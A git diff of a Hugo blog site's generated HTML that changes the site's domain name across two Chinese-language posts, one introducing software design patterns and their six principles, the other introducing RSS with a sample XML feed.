title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>简单了解设计模式</h1><div class=post-meta><span title='2021-11-30 15:08:00 +0000 UTC'>2021-11-30</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e7%ae%80%e5%8d%95%e4%ba%86%e8%a7%a3%e8%ae%be%e8%ae%a1%e6%a8%a1%e5%bc%8f.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具</p><p>面向过程：逻辑化过程，以逻辑实现</p><p>面向对象：思考有哪些对象，对象都有什么行为，行为的逻辑化</p><p>设计模式的好处就是通用可复用，跨语言</p><p>设计模式的6大原则：</p><p>单一职责原则：指的是一个类只负责一个职责，职责越单一，越容易复用</p><p>里氏替换原则：子类可以替换自己的父类，通过开闭原则，通过增加子类来实现父类的“修改”，子类可以添加自己的方法和属性，但是不能重写父类的方法</p><p>依赖倒置原则：依赖于接口，而不是实现，面向接口编程，类于类之间不要存在直接依赖，而依赖于接口</p><p>接口隔离原则：不同的功能应该用多种接口实现行为，而不能将接口功能直接概括全部行为，单独实现需要的接口</p><p>迪米特法则：迪米特法则又叫最少知识原则，一个对象对其他对象应该保持最少的了解，降低类与类之间的耦合，避免一个类依赖于另一个类，而导致另一个类的影响</p><p>开闭原则：指的是对扩展进行开放，对修改进行关闭，需要添加新功能，应该添加类，而不是修改原来有的类，保证程序的稳定性</p><p>常见的设计模式有工厂模式，策略模式，单例模式，代理模式，适配器模式，装饰者模式，模版方法模式，观察者模式，抽象工厂模式，门面模式</p><hr><p>创建型模式：对象实例化的模式，创建型模式用于解耦对象的实例化过程
+行为型模式：类和对象如何交互，及划分责任和算法 迭代器模式 模板方法模式 策略模式 命令模式 状态模式 责任链模式 备忘录模式 观察者模式 访问者模式 中介者模式 解释器模式"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单了解设计模式","item":"https://chenjunlinabc.github.io/posts/121/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单了解设计模式","name":"简单了解设计模式","description":"设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具\n面向过程：逻辑化过程，以逻辑实现\n面向对象：思考有哪些对象，对象都有什么行为，行为的逻辑化\n设计模式的好处就是通用可复用，跨语言\n设计模式的6大原则：\n单一职责原则：指的是一个类只负责一个职责，职责越单一，越容易复用\n里氏替换原则：子类可以替换自己的父类，通过开闭原则，通过增加子类来实现父类的“修改”，子类可以添加自己的方法和属性，但是不能重写父类的方法\n依赖倒置原则：依赖于接口，而不是实现，面向接口编程，类于类之间不要存在直接依赖，而依赖于接口\n接口隔离原则：不同的功能应该用多种接口实现行为，而不能将接口功能直接概括全部行为，单独实现需要的接口\n迪米特法则：迪米特法则又叫最少知识原则，一个对象对其他对象应该保持最少的了解，降低类与类之间的耦合，避免一个类依赖于另一个类，而导致另一个类的影响\n开闭原则：指的是对扩展进行开放，对修改进行关闭，需要添加新功能，应该添加类，而不是修改原来有的类，保证程序的稳定性\n常见的设计模式有工厂模式，策略模式，单例模式，代理模式，适配器模式，装饰者模式，模版方法模式，观察者模式，抽象工厂模式，门面模式\n创建型模式：对象实例化的模式，创建型模式用于解耦对象的实例化过程 单例模式 工厂模式 抽象工厂 建造者模式 原型模式\n创建型模式就是指创建对象，在创建对象时通过共同的接口来指向这个新创建的对象\n结构型模式：把类或对象结合在一起形成一个更大的结构 适配器模式 组合模式 装饰器模式 代理模式 享元模式 外观模式 桥接模式\n行为型模式：类和对象如何交互，及划分责任和算法 迭代器模式 模板方法模式 策略模式 命令模式 状态模式 责任链模式 备忘录模式 观察者模式 访问者模式 中介者模式 解释器模式","keywords":["设计模式"],"articleBody":"设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具\n面向过程：逻辑化过程，以逻辑实现\n面向对象：思考有哪些对象，对象都有什么行为，行为的逻辑化\n设计模式的好处就是通用可复用，跨语言\n设计模式的6大原则：\n单一职责原则：指的是一个类只负责一个职责，职责越单一，越容易复用\n里氏替换原则：子类可以替换自己的父类，通过开闭原则，通过增加子类来实现父类的“修改”，子类可以添加自己的方法和属性，但是不能重写父类的方法\n依赖倒置原则：依赖于接口，而不是实现，面向接口编程，类于类之间不要存在直接依赖，而依赖于接口\n接口隔离原则：不同的功能应该用多种接口实现行为，而不能将接口功能直接概括全部行为，单独实现需要的接口\n迪米特法则：迪米特法则又叫最少知识原则，一个对象对其他对象应该保持最少的了解，降低类与类之间的耦合，避免一个类依赖于另一个类，而导致另一个类的影响\n开闭原则：指的是对扩展进行开放，对修改进行关闭，需要添加新功能，应该添加类，而不是修改原来有的类，保证程序的稳定性\n常见的设计模式有工厂模式，策略模式，单例模式，代理模式，适配器模式，装饰者模式，模版方法模式，观察者模式，抽象工厂模式，门面模式\n创建型模式：对象实例化的模式，创建型模式用于解耦对象的实例化过程 单例模式 工厂模式 抽象工厂 建造者模式 原型模式\n创建型模式就是指创建对象，在创建对象时通过共同的接口来指向这个新创建的对象\n结构型模式：把类或对象结合在一起形成一个更大的结构 适配器模式 组合模式 装饰器模式 代理模式 享元模式 外观模式 桥接模式\n行为型模式：类和对象如何交互，及划分责任和算法 迭代器模式 模板方法模式 策略模式 命令模式 状态模式 责任链模式 备忘录模式 观察者模式 访问者模式 中介者模式 解释器模式\n","wordCount":"39","inLanguage":"en","datePublished":"2021-11-30T15:08:00Z","dateModified":"2021-11-30T15:08:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/121/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>简单了解设计模式</h1><div class=post-meta><span title='2021-11-30 15:08:00 +0000 UTC'>2021-11-30</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e7%ae%80%e5%8d%95%e4%ba%86%e8%a7%a3%e8%ae%be%e8%ae%a1%e6%a8%a1%e5%bc%8f.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具</p><p>面向过程：逻辑化过程，以逻辑实现</p><p>面向对象：思考有哪些对象，对象都有什么行为，行为的逻辑化</p><p>设计模式的好处就是通用可复用，跨语言</p><p>设计模式的6大原则：</p><p>单一职责原则：指的是一个类只负责一个职责，职责越单一，越容易复用</p><p>里氏替换原则：子类可以替换自己的父类，通过开闭原则，通过增加子类来实现父类的“修改”，子类可以添加自己的方法和属性，但是不能重写父类的方法</p><p>依赖倒置原则：依赖于接口，而不是实现，面向接口编程，类于类之间不要存在直接依赖，而依赖于接口</p><p>接口隔离原则：不同的功能应该用多种接口实现行为，而不能将接口功能直接概括全部行为，单独实现需要的接口</p><p>迪米特法则：迪米特法则又叫最少知识原则，一个对象对其他对象应该保持最少的了解，降低类与类之间的耦合，避免一个类依赖于另一个类，而导致另一个类的影响</p><p>开闭原则：指的是对扩展进行开放，对修改进行关闭，需要添加新功能，应该添加类，而不是修改原来有的类，保证程序的稳定性</p><p>常见的设计模式有工厂模式，策略模式，单例模式，代理模式，适配器模式，装饰者模式，模版方法模式，观察者模式，抽象工厂模式，门面模式</p><hr><p>创建型模式：对象实例化的模式，创建型模式用于解耦对象的实例化过程
 单例模式
 工厂模式
 抽象工厂
@@ -67,8 +67,8 @@
 观察者模式
 访问者模式
 中介者模式
-解释器模式</p><hr></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/>设计模式</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/122/><span class=title>« Prev</span><br><span>简单了解RSS</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/120/><span class=title>Next »</span><br><span>shell脚本学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+解释器模式</p><hr></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/>设计模式</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/122/><span class=title>« Prev</span><br><span>简单了解RSS</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/120/><span class=title>Next »</span><br><span>shell脚本学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/122/index.html b/posts/122/index.html
index ec14c2ee..c8ed5770 100644
--- a/posts/122/index.html
+++ b/posts/122/index.html
@@ -1,41 +1,41 @@
 <!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>简单了解RSS | 小陈的个人博客</title><meta name=keywords content="RSS"><meta name=description content="RSS指 Really Simple Syndication（简易信息聚合），RSS定义了方法来获取网站的标题以及内容，而且RSS可以被自动更新，RSS使用了XML进行编写（xml笔记：https://xiaochenabc123.test.com/archives/17.html）
 一个RSS例子：
-<?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34; ?>
<rss version=&#34;2.0&#34;>
<channel>
<title>小陈的辣鸡屋</title>
<link>https://xiaochenabc123.test.com/</link>
<description>xiaochenabc123.test.com</description>
<item>
<title>简单了解设计模式</title>
<link>https://xiaochenabc123.test.com/archives/121.html</link>
<description><![CDATA[设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具面向过程：逻辑化过程，以逻辑实现面向对象：思考有哪些对象，...]]></description>
<content:encoded xml:lang=&#34;zh-CN&#34;>xxxxxxx</content:encoded>
</item>
</channel>
</rss>
可以看到是RSS频道的标题，是该频道的超链接，是该频道的描述，是定义该频道的某篇文章的，其中又有，分别表示文章标题，文章的超链接，文章的描述，其中还有表示文章的内容
+<?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34; ?> <rss version=&#34;2.0&#34;> <channel> <title>小陈的辣鸡屋</title> <link>https://xiaochenabc123.test.com/</link> <description>xiaochenabc123.test.com</description> <item> <title>简单了解设计模式</title> <link>https://xiaochenabc123.test.com/archives/121.html</link> <description><![CDATA[设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具面向过程：逻辑化过程，以逻辑实现面向对象：思考有哪些对象，...]]></description> <content:encoded xml:lang=&#34;zh-CN&#34;>xxxxxxx</content:encoded> </item> </channel> </rss> 可以看到是RSS频道的标题，是该频道的超链接，是该频道的描述，是定义该频道的某篇文章的，其中又有，分别表示文章标题，文章的超链接，文章的描述，其中还有表示文章的内容
 RSS注释和HTML的注释一样，
 注意：RSS是基于XML编写，所以全部元素都要有闭合标签，大小写敏感，属性值要带引号
 channel元素除了上面那几个外，还有，， ，等等
 元素还有，，，等等
-RSS阅读器可以更好读取RSSfeed"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/122/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单了解RSS"><meta property="og:description" content="RSS指 Really Simple Syndication（简易信息聚合），RSS定义了方法来获取网站的标题以及内容，而且RSS可以被自动更新，RSS使用了XML进行编写（xml笔记：https://xiaochenabc123.test.com/archives/17.html）
+RSS阅读器可以更好读取RSSfeed"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/122/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单了解RSS"><meta property="og:description" content="RSS指 Really Simple Syndication（简易信息聚合），RSS定义了方法来获取网站的标题以及内容，而且RSS可以被自动更新，RSS使用了XML进行编写（xml笔记：https://xiaochenabc123.test.com/archives/17.html）
 一个RSS例子：
-<?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34; ?>
<rss version=&#34;2.0&#34;>
<channel>
<title>小陈的辣鸡屋</title>
<link>https://xiaochenabc123.test.com/</link>
<description>xiaochenabc123.test.com</description>
<item>
<title>简单了解设计模式</title>
<link>https://xiaochenabc123.test.com/archives/121.html</link>
<description><![CDATA[设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具面向过程：逻辑化过程，以逻辑实现面向对象：思考有哪些对象，...]]></description>
<content:encoded xml:lang=&#34;zh-CN&#34;>xxxxxxx</content:encoded>
</item>
</channel>
</rss>
可以看到是RSS频道的标题，是该频道的超链接，是该频道的描述，是定义该频道的某篇文章的，其中又有，分别表示文章标题，文章的超链接，文章的描述，其中还有表示文章的内容
+<?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34; ?> <rss version=&#34;2.0&#34;> <channel> <title>小陈的辣鸡屋</title> <link>https://xiaochenabc123.test.com/</link> <description>xiaochenabc123.test.com</description> <item> <title>简单了解设计模式</title> <link>https://xiaochenabc123.test.com/archives/121.html</link> <description><![CDATA[设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具面向过程：逻辑化过程，以逻辑实现面向对象：思考有哪些对象，...]]></description> <content:encoded xml:lang=&#34;zh-CN&#34;>xxxxxxx</content:encoded> </item> </channel> </rss> 可以看到是RSS频道的标题，是该频道的超链接，是该频道的描述，是定义该频道的某篇文章的，其中又有，分别表示文章标题，文章的超链接，文章的描述，其中还有表示文章的内容
 RSS注释和HTML的注释一样，
 注意：RSS是基于XML编写，所以全部元素都要有闭合标签，大小写敏感，属性值要带引号
 channel元素除了上面那几个外，还有，， ，等等
 元素还有，，，等等
-RSS阅读器可以更好读取RSSfeed"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/122/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-12-06T02:32:00+00:00"><meta property="article:modified_time" content="2021-12-06T02:32:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单了解RSS"><meta name=twitter:description content="RSS指 Really Simple Syndication（简易信息聚合），RSS定义了方法来获取网站的标题以及内容，而且RSS可以被自动更新，RSS使用了XML进行编写（xml笔记：https://xiaochenabc123.test.com/archives/17.html）
+RSS阅读器可以更好读取RSSfeed"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/122/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-12-06T02:32:00+00:00"><meta property="article:modified_time" content="2021-12-06T02:32:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单了解RSS"><meta name=twitter:description content="RSS指 Really Simple Syndication（简易信息聚合），RSS定义了方法来获取网站的标题以及内容，而且RSS可以被自动更新，RSS使用了XML进行编写（xml笔记：https://xiaochenabc123.test.com/archives/17.html）
 一个RSS例子：
-<?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34; ?>
<rss version=&#34;2.0&#34;>
<channel>
<title>小陈的辣鸡屋</title>
<link>https://xiaochenabc123.test.com/</link>
<description>xiaochenabc123.test.com</description>
<item>
<title>简单了解设计模式</title>
<link>https://xiaochenabc123.test.com/archives/121.html</link>
<description><![CDATA[设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具面向过程：逻辑化过程，以逻辑实现面向对象：思考有哪些对象，...]]></description>
<content:encoded xml:lang=&#34;zh-CN&#34;>xxxxxxx</content:encoded>
</item>
</channel>
</rss>
可以看到是RSS频道的标题，是该频道的超链接，是该频道的描述，是定义该频道的某篇文章的，其中又有，分别表示文章标题，文章的超链接，文章的描述，其中还有表示文章的内容
+<?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34; ?> <rss version=&#34;2.0&#34;> <channel> <title>小陈的辣鸡屋</title> <link>https://xiaochenabc123.test.com/</link> <description>xiaochenabc123.test.com</description> <item> <title>简单了解设计模式</title> <link>https://xiaochenabc123.test.com/archives/121.html</link> <description><![CDATA[设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具面向过程：逻辑化过程，以逻辑实现面向对象：思考有哪些对象，...]]></description> <content:encoded xml:lang=&#34;zh-CN&#34;>xxxxxxx</content:encoded> </item> </channel> </rss> 可以看到是RSS频道的标题，是该频道的超链接，是该频道的描述，是定义该频道的某篇文章的，其中又有，分别表示文章标题，文章的超链接，文章的描述，其中还有表示文章的内容
 RSS注释和HTML的注释一样，
 注意：RSS是基于XML编写，所以全部元素都要有闭合标签，大小写敏感，属性值要带引号
 channel元素除了上面那几个外，还有，， ，等等
 元素还有，，，等等
-RSS阅读器可以更好读取RSSfeed"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单了解RSS","item":"https://xiaochenabc123.github.io/posts/122/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单了解RSS","name":"简单了解RSS","description":"RSS指 Really Simple Syndication（简易信息聚合），RSS定义了方法来获取网站的标题以及内容，而且RSS可以被自动更新，RSS使用了XML进行编写（xml笔记：https://xiaochenabc123.test.com/archives/17.html）\n一个RSS例子：\n\u0026lt;?xml version=\u0026quot;1.0\u0026quot; encoding=\u0026quot;UTF-8\u0026quot; ?\u0026gt;\r\u0026lt;rss version=\u0026quot;2.0\u0026quot;\u0026gt;\r\u0026lt;channel\u0026gt;\r\u0026lt;title\u0026gt;小陈的辣鸡屋\u0026lt;/title\u0026gt;\r\u0026lt;link\u0026gt;https://xiaochenabc123.test.com/\u0026lt;/link\u0026gt;\r\u0026lt;description\u0026gt;xiaochenabc123.test.com\u0026lt;/description\u0026gt;\r\u0026lt;item\u0026gt;\r\u0026lt;title\u0026gt;简单了解设计模式\u0026lt;/title\u0026gt;\r\u0026lt;link\u0026gt;https://xiaochenabc123.test.com/archives/121.html\u0026lt;/link\u0026gt;\r\u0026lt;description\u0026gt;\u0026lt;![CDATA[设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具面向过程：逻辑化过程，以逻辑实现面向对象：思考有哪些对象，...]]\u0026gt;\u0026lt;/description\u0026gt;\r\u0026lt;content:encoded 